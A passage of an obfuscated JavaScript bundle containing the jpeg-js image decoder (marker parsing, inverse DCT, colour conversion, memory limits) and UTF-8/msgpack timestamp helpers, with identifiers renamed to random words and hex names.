unequaled = steer * slip[0 * 8 + cute] + 2048 >> 12, remarkable = steer * slip[4 * 8 + cute] + 2048 >> 12, name = slip[2 * 8 + cute], blot = slip[6 * 8 + cute], respect = humdrum * (slip[1 * 8 + cute] - slip[7 * 8 + cute]) + 2048 >> 12, mindless = humdrum * (slip[1 * 8 + cute] + slip[7 * 8 + cute]) + 2048 >> 12, provide = slip[3 * 8 + cute], power = slip[5 * 8 + cute], whistle = unequaled - remarkable + 1 >> 1, unequaled = unequaled + remarkable + 1 >> 1, remarkable = whistle, whistle = name * scandalous + blot * bathe + 2048 >> 12, name = name * bathe - blot * scandalous + 2048 >> 12, blot = whistle, whistle = respect - power + 1 >> 1, respect = respect + power + 1 >> 1, power = whistle, whistle = mindless + provide + 1 >> 1, provide = mindless - provide + 1 >> 1, mindless = whistle, whistle = unequaled - blot + 1 >> 1, unequaled = unequaled + blot + 1 >> 1, blot = whistle, whistle = remarkable - name + 1 >> 1, remarkable = remarkable + name + 1 >> 1, name = whistle, whistle = respect * electric + mindless * grip + 2048 >> 12, respect = respect * grip - mindless * electric + 2048 >> 12, mindless = whistle, whistle = provide * exist + power * decisive + 2048 >> 12, provide = provide * decisive - power * exist + 2048 >> 12, power = whistle, slip[0 * 8 + cute] = unequaled + mindless, slip[7 * 8 + cute] = unequaled - mindless, slip[1 * 8 + cute] = remarkable + power, slip[6 * 8 + cute] = remarkable - power, slip[2 * 8 + cute] = name + provide, slip[5 * 8 + cute] = name - provide, slip[3 * 8 + cute] = blot + respect, slip[4 * 8 + cute] = blot - respect;
}
for (office = 0; office < 64; ++office) {
var belong = 128 + (slip[office] + 8 >> 4);
obey[office] = belong < 0 ? 0 : belong > 255 ? 255 : belong;
}
}
sheep(recognise * right * 8);
var angle, kiss;
for (var thoughtful = 0; thoughtful < right; thoughtful++) {
var unwritten = thoughtful << 3;
for (angle = 0; angle < 8; angle++) dance["push"](new Uint8Array(recognise));
for (var goofy = 0; goofy < collect; goofy++) {
cool(strip["blocks"][thoughtful][goofy], sister, fancy);
var signal = 0,
acceptable = goofy << 3;
for (kiss = 0; kiss < 8; kiss++) {
var bedroom = dance[unwritten + kiss];
for (angle = 0; angle < 8; angle++) bedroom[acceptable + angle] = sister[signal++];
}
}
}
return dance;
}
function quilt(unkempt) {
return unkempt < 0 ? 0 : unkempt > 255 ? 255 : unkempt;
}
action["prototype"] = {
"load": function natural(beam) {
const hospital = improve;
var broken = new XMLHttpRequest();
broken["open"]("GET", beam, !![]), broken["responseType"] = "arraybuffer", broken["onload"] = function () {
const command = hospital;
var angry = new Uint8Array(broken["response"] || broken["mozResponseArrayBuffer"]);
this["parse"](angry);
if (this["onload"]) this["onload"]();
} ["bind"](this), broken["send"](null);
},
"parse": function maddening(teaching) {
const whirl = improve;
var wire = this["opts"]["maxResolutionInMP"] * 1000 * 1000,
ruddy = 0,
miss = teaching["length"];
function living() {
var sigh = teaching[ruddy] << 8 | teaching[ruddy + 1];
return ruddy += 2, sigh;
}
function challenge() {
const property = whirl;
var expensive = living(),
mean = teaching["subarray"](ruddy, ruddy + expensive - 2);
return ruddy += mean["length"], mean;
}
function ripe(bat) {
const rabbits = whirl;
var poke = 1,
trip = 1,
annoy,
able;
for (able in bat["components"]) {
if (bat["components"]["hasOwnProperty"](able)) {
annoy = bat["components"][able];
if (poke < annoy["h"]) poke = annoy["h"];
if (trip < annoy["v"]) trip = annoy["v"];
}
}
var monkey = Math["ceil"](bat["samplesPerLine"] / 8 / poke),
stop = Math["ceil"](bat["scanLines"] / 8 / trip);
for (able in bat["components"]) {
if (bat["components"]["hasOwnProperty"](able)) {
annoy = bat["components"][able];
var worthless = Math["ceil"](Math["ceil"](bat["samplesPerLine"] / 8) * annoy["h"] / poke),
savory = Math["ceil"](Math["ceil"](bat["scanLines"] / 8) * annoy["v"] / trip),
weary = monkey * annoy["h"],
colorful = stop * annoy["v"],
ducks = colorful * weary,
time = [];
sheep(ducks * 256);
for (var slimy = 0; slimy < colorful; slimy++) {
var travel = [];
for (var aware = 0; aware < weary; aware++) travel["push"](new Int32Array(64));
time["push"](travel);
}
annoy["blocksPerLine"] = worthless, annoy["blocksPerColumn"] = savory, annoy["blocks"] = time;
}
}
bat["maxH"] = poke, bat["maxV"] = trip, bat["mcusPerLine"] = monkey, bat["mcusPerColumn"] = stop;
}
var dry = null,
troubled = null,
queue,
expect,
splendid = [],
unsuitable = [],
workable = [],
middle = [],
evanescent = living(),
zephyr = -1;
this["comments"] = [];
if (evanescent != 65496) throw new Error("SOI not found");
evanescent = living();
while (evanescent != 65497) {
var brave, wind;
switch (evanescent) {
case 65280:
break;
case 65504:
case 65505:
case 65506:
case 65507:
case 65508:
case 65509:
case 65510:
case 65511:
case 65512:
case 65513:
case 65514:
case 65515:
case 65516:
case 65517:
case 65518:
case 65519:
case 65534:
var apparatus = challenge();
if (evanescent === 65534) {
var sand = String["fromCharCode"]["apply"](null, apparatus);
this["comments"]["push"](sand);
}
evanescent === 65504 && apparatus[0] === 74 && apparatus[1] === 70 && apparatus[2] === 73 && apparatus[3] === 70 && apparatus[4] === 0 && (dry = {
"version": {
"major": apparatus[5],
"minor": apparatus[6]
},
"densityUnits": apparatus[7],
"xDensity": apparatus[8] << 8 | apparatus[9],
"yDensity": apparatus[10] << 8 | apparatus[11],
"thumbWidth": apparatus[12],
"thumbHeight": apparatus[13],
"thumbData": apparatus["subarray"](14, 14 + 3 * apparatus[12] * apparatus[13])
});
evanescent === 65505 && apparatus[0] === 69 && apparatus[1] === 120 && apparatus[2] === 105 && apparatus[3] === 102 && apparatus[4] === 0 && (this["exifBuffer"] = apparatus["subarray"](5, apparatus["length"]));
evanescent === 65518 && apparatus[0] === 65 && apparatus[1] === 100 && apparatus[2] === 111 && apparatus[3] === 98 && apparatus[4] === 101 && apparatus[5] === 0 && (troubled = {
"version": apparatus[6],
"flags0": apparatus[7] << 8 | apparatus[8],
"flags1": apparatus[9] << 8 | apparatus[10],
"transformCode": apparatus[11]
});
break;
case 65499:
var complete = living(),
crack = complete + ruddy - 2;
while (ruddy < crack) {
var homeless = teaching[ruddy++];
sheep(64 * 4);
var disappear = new Int32Array(64);
if (homeless >> 4 === 0)
for (wind = 0; wind < 64; wind++) {
var invincible = unnatural[wind];
disappear[invincible] = teaching[ruddy++];
} else {
if (homeless >> 4 === 1)
for (wind = 0; wind < 64; wind++) {
var invincible = unnatural[wind];
disappear[invincible] = living();
} else throw new Error("DQT: invalid table spec");
}
splendid[homeless & 15] = disappear;
}
break;
case 65472:
case 65473:
case 65474:
living(), queue = {}, queue["extended"] = evanescent === 65473, queue["progressive"] = evanescent === 65474, queue["precision"] = teaching[ruddy++], queue["scanLines"] = living(), queue["samplesPerLine"] = living(), queue["components"] = {}, queue["componentsOrder"] = [];
var sedate = queue["scanLines"] * queue["samplesPerLine"];
if (sedate > wire) {
var test = Math["ceil"]((sedate - wire) / 1000000);
throw new Error("maxResolutionInMP limit exceeded by " + test + "MP");
}
var rustic = teaching[ruddy++],
steady;
for (brave = 0; brave < rustic; brave++) {
steady = teaching[ruddy];
var rainstorm = teaching[ruddy + 1] >> 4,
foolish = teaching[ruddy + 1] & 15,
gabby = teaching[ruddy + 2];
if (rainstorm <= 0 || foolish <= 0) throw new Error("Invalid sampling factor, expected values above 0");
queue["componentsOrder"]["push"](steady), queue["components"][steady] = {
"h": rainstorm,
"v": foolish,
"quantizationIdx": gabby
}, ruddy += 3;
}
ripe(queue), unsuitable["push"](queue);
break;
case 65476:
var boat = living();
for (brave = 2; brave < boat;) {
var reward = teaching[ruddy++],
trust = new Uint8Array(16),
tremble = 0;
for (wind = 0; wind < 16; wind++, ruddy++) {
tremble += trust[wind] = teaching[ruddy];
}
sheep(16 + tremble);
var discreet = new Uint8Array(tremble);
for (wind = 0; wind < tremble; wind++, ruddy++) discreet[wind] = teaching[ruddy];
brave += 17 + tremble, (reward >> 4 === 0 ? middle : workable)[reward & 15] = rot(trust, discreet);
}
break;
case 65501:
living(), expect = living();
break;
case 65500:
living(), living();
break;
case 65498:
var enormous = living(),
settle = teaching[ruddy++],
fit = [],
vessel;
for (brave = 0; brave < settle; brave++) {
vessel = queue["components"][teaching[ruddy++]];
var parched = teaching[ruddy++];
vessel["huffmanTableDC"] = middle[parched >> 4], vessel["huffmanTableAC"] = workable[parched & 15], fit["push"](vessel);
}
var desire = teaching[ruddy++],
practise = teaching[ruddy++],
terrific = teaching[ruddy++],
imminent = handsomely(teaching, ruddy, queue, fit, expect, desire, practise, terrific >> 4, terrific & 15, this["opts"]);
ruddy += imminent;
break;
case 65535:
teaching[ruddy] !== 255 && ruddy--;
break;
default:
if (teaching[ruddy - 3] == 255 && teaching[ruddy - 2] >= 192 && teaching[ruddy - 2] <= 254) {
ruddy -= 3;
break;
} else {
if (evanescent === 224 || evanescent == 225) {
if (zephyr !== -1) throw new Error("first unknown JPEG marker at offset " + zephyr["toString"](16) + ", second unknown JPEG marker " + evanescent["toString"](16) + " at offset " + (ruddy - 1)["toString"](16));
zephyr = ruddy - 1;
const fuzzy = living();
if (teaching[ruddy + fuzzy - 2] === 255) {
ruddy += fuzzy - 2;
break;
}
}
}
throw new Error("unknown JPEG marker " + evanescent["toString"](16));
}
evanescent = living();
}
if (unsuitable["length"] != 1) throw new Error("only single frame JPEGs supported");
for (var brave = 0; brave < unsuitable["length"]; brave++) {
var debt = unsuitable[brave]["components"];
for (var wind in debt) {
debt[wind]["quantizationTable"] = splendid[debt[wind]["quantizationIdx"]], delete debt[wind]["quantizationIdx"];
}
}
this["width"] = queue["samplesPerLine"], this["height"] = queue["scanLines"], this["jfif"] = dry, this["adobe"] = troubled, this["components"] = [];
for (var brave = 0; brave < queue["componentsOrder"]["length"]; brave++) {
var vessel = queue["components"][queue["componentsOrder"][brave]];
this["components"]["push"]({
"lines": tame(queue, vessel),
"scaleX": vessel["h"] / queue["maxH"],
"scaleY": vessel["v"] / queue["maxV"]
});
}
},
"getData": function medical(ugly, industry) {
const run = improve;
var tow = this["width"] / ugly,
raise = this["height"] / industry,
juice,
plant,
range,
unusual,
breakable,
quiet,
early,
_0x503c4,
_0x1fc6e29,
_0x14394e22,
_0x31d1 = 0,
_0x3aa1f14,
_0x0,
_0x161c7,
_0x87dbec5,
_0x687c2b5,
_0x4737fa5,
_0x1,
_0x2d3cb5,
_0x3fcd4,
_0x35da4,
_0x52bf1e0,
_0x38c3 = ugly * industry * this["components"]["length"];
sheep(_0x38c3);
var _0x3f47a11 = new Uint8Array(_0x38c3);
switch (this["components"]["length"]) {
case 1:
juice = this["components"][0];
for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) {
breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise];
for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) {
_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14;
}
}
break;
case 2:
juice = this["components"][0], plant = this["components"][1];
for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) {
breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise];
for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) {
_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14, _0x3aa1f14 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x3f47a11[_0x31d1++] = _0x3aa1f14;
}
}
break;
case 3:
_0x52bf1e0 = !![];
if (this["adobe"] && this["adobe"]["transformCode"]) _0x52bf1e0 = !![];
else {
if (typeof this["opts"]["colorTransform"] !== "undefined") _0x52bf1e0 = !!this["opts"]["colorTransform"];
}
juice = this["components"][0], plant = this["components"][1], range = this["components"][2];
for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) {
breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise], early = range["lines"][0 | _0x14394e22 * range["scaleY"] * raise];
for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) {
!_0x52bf1e0 ? (_0x2d3cb5 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x3fcd4 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x35da4 = early[0 | _0x1fc6e29 * range["scaleX"] * tow]) : (_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x0 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x161c7 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x2d3cb5 = quilt(_0x3aa1f14 + 1.402 * (_0x161c7 - 128)), _0x3fcd4 = quilt(_0x3aa1f14 - 0.3441363 * (_0x0 - 128) - 0.71413636 * (_0x161c7 - 128)), _0x35da4 = quilt(_0x3aa1f14 + 1.772 * (_0x0 - 128))), _0x3f47a11[_0x31d1++] = _0x2d3cb5, _0x3f47a11[_0x31d1++] = _0x3fcd4, _0x3f47a11[_0x31d1++] = _0x35da4;
}
}
break;
case 4:
if (!this["adobe"]) throw new Error("Unsupported color mode (4 components)");
_0x52bf1e0 = ![];
if (this["adobe"] && this["adobe"]["transformCode"]) _0x52bf1e0 = !![];
else {
if (typeof this["opts"]["colorTransform"] !== "undefined") _0x52bf1e0 = !!this["opts"]["colorTransform"];
}
juice = this["components"][0], plant = this["components"][1], range = this["components"][2], unusual = this["components"][3];
for (_0x14394e22 = 0; _0x14394e22 < industry; _0x14394e22++) {
breakable = juice["lines"][0 | _0x14394e22 * juice["scaleY"] * raise], quiet = plant["lines"][0 | _0x14394e22 * plant["scaleY"] * raise], early = range["lines"][0 | _0x14394e22 * range["scaleY"] * raise], _0x503c4 = unusual["lines"][0 | _0x14394e22 * unusual["scaleY"] * raise];
for (_0x1fc6e29 = 0; _0x1fc6e29 < ugly; _0x1fc6e29++) {
!_0x52bf1e0 ? (_0x687c2b5 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x4737fa5 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x1 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x87dbec5 = _0x503c4[0 | _0x1fc6e29 * unusual["scaleX"] * tow]) : (_0x3aa1f14 = breakable[0 | _0x1fc6e29 * juice["scaleX"] * tow], _0x0 = quiet[0 | _0x1fc6e29 * plant["scaleX"] * tow], _0x161c7 = early[0 | _0x1fc6e29 * range["scaleX"] * tow], _0x87dbec5 = _0x503c4[0 | _0x1fc6e29 * unusual["scaleX"] * tow], _0x687c2b5 = 255 - quilt(_0x3aa1f14 + 1.402 * (_0x161c7 - 128)), _0x4737fa5 = 255 - quilt(_0x3aa1f14 - 0.3441363 * (_0x0 - 128) - 0.71413636 * (_0x161c7 - 128)), _0x1 = 255 - quilt(_0x3aa1f14 + 1.772 * (_0x0 - 128))), _0x3f47a11[_0x31d1++] = 255 - _0x687c2b5, _0x3f47a11[_0x31d1++] = 255 - _0x4737fa5, _0x3f47a11[_0x31d1++] = 255 - _0x1, _0x3f47a11[_0x31d1++] = 255 - _0x87dbec5;
}
}
break;
default:
throw new Error("Unsupported color mode");
}
return _0x3f47a11;
},
"copyToImageData": function _0x54bf(_0x34883f5, _0x5767cf5) {
const _0x10 = improve;
var _0x28 = _0x34883f5["width"],
_0x27 = _0x34883f5["height"],
_0x12eb11 = _0x34883f5["data"],
_0x564eac0 = this["getData"](_0x28, _0x27),
_0x32 = 0,
_0x4ad11 = 0,
_0x92da0,
_0x1b0,
_0x51e22e8,
_0x4b918f9,
_0x2ebea3,
_0x297d3,
_0x239de5,
_0x4a68dd6,
_0x34;
switch (this["components"]["length"]) {
case 1:
for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) {
for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) {
_0x51e22e8 = _0x564eac0[_0x32++], _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x12eb11[_0x4ad11++] = _0x51e22e8, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255);
}
}
break;
case 3:
for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) {
for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) {
_0x239de5 = _0x564eac0[_0x32++], _0x4a68dd6 = _0x564eac0[_0x32++], _0x34 = _0x564eac0[_0x32++], _0x12eb11[_0x4ad11++] = _0x239de5, _0x12eb11[_0x4ad11++] = _0x4a68dd6, _0x12eb11[_0x4ad11++] = _0x34, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255);
}
}
break;
case 4:
for (_0x1b0 = 0; _0x1b0 < _0x27; _0x1b0++) {
for (_0x92da0 = 0; _0x92da0 < _0x28; _0x92da0++) {
_0x2ebea3 = _0x564eac0[_0x32++], _0x297d3 = _0x564eac0[_0x32++], _0x51e22e8 = _0x564eac0[_0x32++], _0x4b918f9 = _0x564eac0[_0x32++], _0x239de5 = 255 - quilt(_0x2ebea3 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x4a68dd6 = 255 - quilt(_0x297d3 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x34 = 255 - quilt(_0x51e22e8 * (1 - _0x4b918f9 / 255) + _0x4b918f9), _0x12eb11[_0x4ad11++] = _0x239de5, _0x12eb11[_0x4ad11++] = _0x4a68dd6, _0x12eb11[_0x4ad11++] = _0x34, _0x5767cf5 && (_0x12eb11[_0x4ad11++] = 255);
}
}
break;
default:
throw new Error("Unsupported color mode");
}
}
};
var _0x4a4e5 = 0,
_0x5eda4 = 0;
function sheep(_0x3cbbdc3 = 0) {
const _0x9b53c = improve;
var _0x1cab4 = _0x4a4e5 + _0x3cbbdc3;
if (_0x1cab4 > _0x5eda4) {
var _0x41bb3f3 = Math["ceil"]((_0x1cab4 - _0x5eda4) / 1024 / 1024);
throw new Error("maxMemoryUsageInMB limit exceeded by at least " + _0x41bb3f3 + "MB");
}
_0x4a4e5 = _0x1cab4;
}
return action["resetMaxMemoryUsage"] = function (_0x3fb2) {
_0x4a4e5 = 0, _0x5eda4 = _0x3fb2;
}, action["getBytesAllocated"] = function () {
return _0x4a4e5;
}, action["requestMemoryAllocation"] = sheep, action;
}();
if (typeof whine !== "undefined") whine["exports"] = _0xdf1e2c4;
else typeof window !== "undefined" && (window["jpeg-js"] = window["jpeg-js"] || {}, window["jpeg-js"]["decode"] = _0xdf1e2c4);
function _0xdf1e2c4(_0x22f5d3, _0x1df2 = {}) {
const _0x3f7d3b2 = request;
var _0xe5ee1b3 = {
"colorTransform": void 0,
"useTArray": ![],
"formatAsRGBA": !![],
"tolerantDecoding": !![],
"maxResolutionInMP": 100,
"maxMemoryUsageInMB": 512
},
_0x31e6 = {
..._0xe5ee1b3,
..._0x1df2
},
_0x1f2 = new Uint8Array(_0x22f5d3),
_0x585f1 = new camera();
_0x585f1["opts"] = _0x31e6, camera["resetMaxMemoryUsage"](_0x31e6["maxMemoryUsageInMB"] * 1024 * 1024), _0x585f1["parse"](_0x1f2);
var _0x51d2 = _0x31e6["formatAsRGBA"] ? 4 : 3,
_0x22de4a6 = _0x585f1["width"] * _0x585f1["height"] * _0x51d2;
try {
camera["requestMemoryAllocation"](_0x22de4a6);
var _0x259cf4 = {
"width": _0x585f1["width"],
"height": _0x585f1["height"],
"exifBuffer": _0x585f1["exifBuffer"],
"data": _0x31e6["useTArray"] ? new Uint8Array(_0x22de4a6) : Buffer["alloc"](_0x22de4a6)
};
_0x585f1["comments"]["length"] > 0 && (_0x259cf4["comments"] = _0x585f1["comments"]);
} catch (_0x39) {
if (_0x39 instanceof RangeError) throw new Error("Could not allocate enough memory for the image. Required: " + _0x22de4a6);
if (_0x39 instanceof ReferenceError) {
if (_0x39["message"] === "Buffer is not defined") throw new Error("Buffer is not globally defined in this environment. Consider setting useTArray to true");
}
throw _0x39;
}
return _0x585f1["copyToImageData"](_0x259cf4, _0x31e6["formatAsRGBA"]), _0x259cf4;
}
}
}),
require_jpeg_js = __commonJS({
"node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/index.js"(_0x28fa, _0x5315d2) {
const _0x40 = potato;
var _0x43c6fb3 = require_encoder(),
_0x42 = require_decoder();
_0x5315d2["exports"] = {
"encode": _0x43c6fb3,
"decode": _0x42
};
}
}),
import_node_buffer9 = require("node:buffer"),
import_node_fs8 = __toESM(require("node:fs")),
import_node_path8 = __toESM(require("node:path")),
import_node_process9 = __toESM(require("node:process"));
function utf8Count(_0x3c5b2e5) {
const _0x2a = potato,
_0x10b3 = _0x3c5b2e5["length"];
let _0x1d6 = 0,
_0x4b6 = 0;
while (_0x4b6 < _0x10b3) {
let _0x3a8 = _0x3c5b2e5["charCodeAt"](_0x4b6++);
if ((_0x3a8 & 4294967168) === 0) {
_0x1d6++;
continue;
} else {
if ((_0x3a8 & 4294965248) === 0) _0x1d6 += 2;
else {
if (_0x3a8 >= 55296 && _0x3a8 <= 56319) {
if (_0x4b6 < _0x10b3) {
const _0x45 = _0x3c5b2e5["charCodeAt"](_0x4b6);
(_0x45 & 64512) === 56320 && (++_0x4b6, _0x3a8 = ((_0x3a8 & 1023) << 10) + (_0x45 & 1023) + 65536);
}
}
(_0x3a8 & 4294901760) === 0 ? _0x1d6 += 3 : _0x1d6 += 4;
}
}
}
return _0x1d6;
}
function utf8EncodeJs(_0x57e5be5, _0x26e9, _0x2ef2d2) {
const _0x522afa2 = potato,
_0x2a0b3 = _0x57e5be5["length"];
let _0x4a2d9 = _0x2ef2d2,
_0x535e2a7 = 0;
while (_0x535e2a7 < _0x2a0b3) {
let _0x5807af15 = _0x57e5be5["charCodeAt"](_0x535e2a7++);
if ((_0x5807af15 & 4294967168) === 0) {
_0x26e9[_0x4a2d9++] = _0x5807af15;
continue;
} else {
if ((_0x5807af15 & 4294965248) === 0) _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 31 | 192;
else {
if (_0x5807af15 >= 55296 && _0x5807af15 <= 56319) {
if (_0x535e2a7 < _0x2a0b3) {
const _0x48 = _0x57e5be5["charCodeAt"](_0x535e2a7);
(_0x48 & 64512) === 56320 && (++_0x535e2a7, _0x5807af15 = ((_0x5807af15 & 1023) << 10) + (_0x48 & 1023) + 65536);
}
}
(_0x5807af15 & 4294901760) === 0 ? (_0x26e9[_0x4a2d9++] = _0x5807af15 >> 12 & 15 | 224, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 63 | 128) : (_0x26e9[_0x4a2d9++] = _0x5807af15 >> 18 & 7 | 240, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 12 & 63 | 128, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 63 | 128);
}
}
_0x26e9[_0x4a2d9++] = _0x5807af15 & 63 | 128;
}
}
var sharedTextEncoder = new TextEncoder(),
TEXT_ENCODER_THRESHOLD = 50;
function utf8EncodeTE(_0x4098ed3, _0xf2, _0x4b8) {
const _0x49 = potato;
sharedTextEncoder["encodeInto"](_0x4098ed3, _0xf2["subarray"](_0x4b8));
}
function utf8Encode(_0x1841c5, _0x57bfd3, _0x52) {
const _0x16b7df2 = potato;
_0x1841c5["length"] > TEXT_ENCODER_THRESHOLD ? utf8EncodeTE(_0x1841c5, _0x57bfd3, _0x52) : utf8EncodeJs(_0x1841c5, _0x57bfd3, _0x52);
}
var CHUNK_SIZE = 4096;
function utf8DecodeJs(_0x904e8, _0x15587e3, _0xc9daa2) {
const _0x53e2a = potato;
let _0x3cc0 = _0x15587e3;
const _0x3d4ee2 = _0x3cc0 + _0xc9daa2,
_0x51ce6c11 = [];
let _0x270cbc5 = "";
while (_0x3cc0 < _0x3d4ee2) {
const _0x9400bb1 = _0x904e8[_0x3cc0++];
if ((_0x9400bb1 & 128) === 0) _0x51ce6c11["push"](_0x9400bb1);
else {
if ((_0x9400bb1 & 224) === 192) {
const _0x21b8df3 = _0x904e8[_0x3cc0++] & 63;
_0x51ce6c11["push"]((_0x9400bb1 & 31) << 6 | _0x21b8df3);
} else {
if ((_0x9400bb1 & 240) === 224) {
const _0x5e70f2 = _0x904e8[_0x3cc0++] & 63,
_0x56abd2 = _0x904e8[_0x3cc0++] & 63;
_0x51ce6c11["push"]((_0x9400bb1 & 31) << 12 | _0x5e70f2 << 6 | _0x56abd2);
} else {
if ((_0x9400bb1 & 248) === 240) {
const _0x5a468b3 = _0x904e8[_0x3cc0++] & 63,
_0x50d7ae3 = _0x904e8[_0x3cc0++] & 63,
_0x54ec2 = _0x904e8[_0x3cc0++] & 63;
let _0xa1beb8 = (_0x9400bb1 & 7) << 18 | _0x5a468b3 << 12 | _0x50d7ae3 << 6 | _0x54ec2;
_0xa1beb8 > 65535 && (_0xa1beb8 -= 65536, _0x51ce6c11["push"](_0xa1beb8 >>> 10 & 1023 | 55296), _0xa1beb8 = 56320 | _0xa1beb8 & 1023), _0x51ce6c11["push"](_0xa1beb8);
} else _0x51ce6c11["push"](_0x9400bb1);
}
}
}
_0x51ce6c11["length"] >= CHUNK_SIZE && (_0x270cbc5 += String["fromCharCode"](..._0x51ce6c11), _0x51ce6c11["length"] = 0);
}
return _0x51ce6c11["length"] > 0 && (_0x270cbc5 += String["fromCharCode"](..._0x51ce6c11)), _0x270cbc5;
}
var sharedTextDecoder = new TextDecoder(),
TEXT_DECODER_THRESHOLD = 200;
function utf8DecodeTD(_0x38c7cc3, _0x40b3, _0x346ce2) {
const _0x3806fc2 = potato,
_0x51fa2 = _0x38c7cc3["subarray"](_0x40b3, _0x40b3 + _0x346ce2);
return sharedTextDecoder["decode"](_0x51fa2);
}
function utf8Decode(_0x4f3, _0x5d4b3, _0x56) {
return _0x56 > TEXT_DECODER_THRESHOLD ? utf8DecodeTD(_0x4f3, _0x5d4b3, _0x56) : utf8DecodeJs(_0x4f3, _0x5d4b3, _0x56);
}
var ExtData = class {
constructor(_0x11075f3, _0x2582f2) {
const _0x4fb1ea2 = potato;
this["type"] = _0x11075f3, this["data"] = _0x2582f2;
}
},
DecodeError = class _DecodeError extends Error {
constructor(_0x583fda3) {
const _0x993f1b2 = potato;
super(_0x583fda3);
const _0x58 = Object["create"](_DecodeError["prototype"]);
Object["setPrototypeOf"](this, _0x58), Object["defineProperty"](this, "name", {
"configurable": !![],
"enumerable": ![],
"value": _DecodeError["name"]
});
}
},
UINT32_MAX = 4294967295;
function setUint64(_0x353d5d4, _0x59fab4, _0x320b9e4) {
const _0xf3 = potato,
_0x8302f2 = _0x320b9e4 / 4294967296,
_0x17eecd3 = _0x320b9e4;
_0x353d5d4["setUint32"](_0x59fab4, _0x8302f2), _0x353d5d4["setUint32"](_0x59fab4 + 4, _0x17eecd3);
}
function setInt64(_0x3a1, _0x61, _0x1a85cc4) {
const _0x17f7ac2 = potato,
_0x5e7a2 = Math["floor"](_0x1a85cc4 / 4294967296),
_0x12a86f3 = _0x1a85cc4;
_0x3a1["setUint32"](_0x61, _0x5e7a2), _0x3a1["setUint32"](_0x61 + 4, _0x12a86f3);
}
function getInt64(_0x5ae3, _0x5655dd4) {
const _0x3768e = potato,
_0x57244f3 = _0x5ae3["getInt32"](_0x5655dd4),
_0x2c2 = _0x5ae3["getUint32"](_0x5655dd4 + 4);
return _0x57244f3 * 4294967296 + _0x2c2;
}
function getUint64(_0x3388e3, _0xb1ffb3) {
const _0x563efa2 = potato,
_0x25abdf3 = _0x3388e3["getUint32"](_0xb1ffb3),
_0x151cb2 = _0x3388e3["getUint32"](_0xb1ffb3 + 4);
return _0x25abdf3 * 4294967296 + _0x151cb2;
}
var EXT_TIMESTAMP = -1,
TIMESTAMP32_MAX_SEC = 4294967296 - 1,
TIMESTAMP64_MAX_SEC = 17179869184 - 1;
function encodeTimeSpecToTimestamp({
sec: _0x40a3f9,
nsec: _0x1b13
}) {
const _0x471f = potato;
if (_0x40a3f9 >= 0 && _0x1b13 >= 0 && _0x40a3f9 <= TIMESTAMP64_MAX_SEC) {
if (_0x1b13 === 0 && _0x40a3f9 <= TIMESTAMP32_MAX_SEC) {
const _0x2a7d3 = new Uint8Array(4),
_0x63 = new DataView(_0x2a7d3["buffer"]);
return _0x63["setUint32"](0, _0x40a3f9), _0x2a7d3;
} else {
const _0x23efd2 = _0x40a3f9 / 4294967296,
_0x3a06ed3 = _0x40a3f9 & 4294967295,
_0x5c44b3 = new Uint8Array(8),
_0x4f9ab3 = new DataView(_0x5c44b3["buffer"]);
return _0x4f9ab3["setUint32"](0, _0x1b13 << 2 | _0x23efd2 & 3), _0x4f9ab3["setUint32"](4, _0x3a06ed3), _0x5c44b3;
}
} else {
const _0xe7e0fc4 = new Uint8Array(12),
_0xa3 = new DataView(_0xe7e0fc4["buffer"]);
return _0xa3["setUint32"](0, _0x1b13), setInt64(_0xa3, 4, _0x40a3f9), _0xe7e0fc4;
}
}
function encodeDateToTimeSpec(_0x4c3f2) {
const _0x4100f = potato,
_0x2068bc4 = _0x4c3f2["getTime"](),
_0x4426c3 = Math["floor"](_0x2068bc4 / 1000),
_0xa3ca3 = (_0x2068bc4 - _0x4426c3 * 1000) * 1000000,
_0x38dc3 = Math["floor"](_0xa3ca3 / 1000000000);
return {
"sec": _0x4426c3 + _0x38dc3,
"nsec": _0xa3ca3 - _0x38dc3 * 1000000000
};
}
function encodeTimestampExtension(_0xfab2b3) {
if (_0xfab2b3 instanceof Date) {
const _0x3b3de2 = encodeDateToTimeSpec(_0xfab2b3);
return encodeTimeSpecToTimestamp(_0x3b3de2);
} else return null;
}
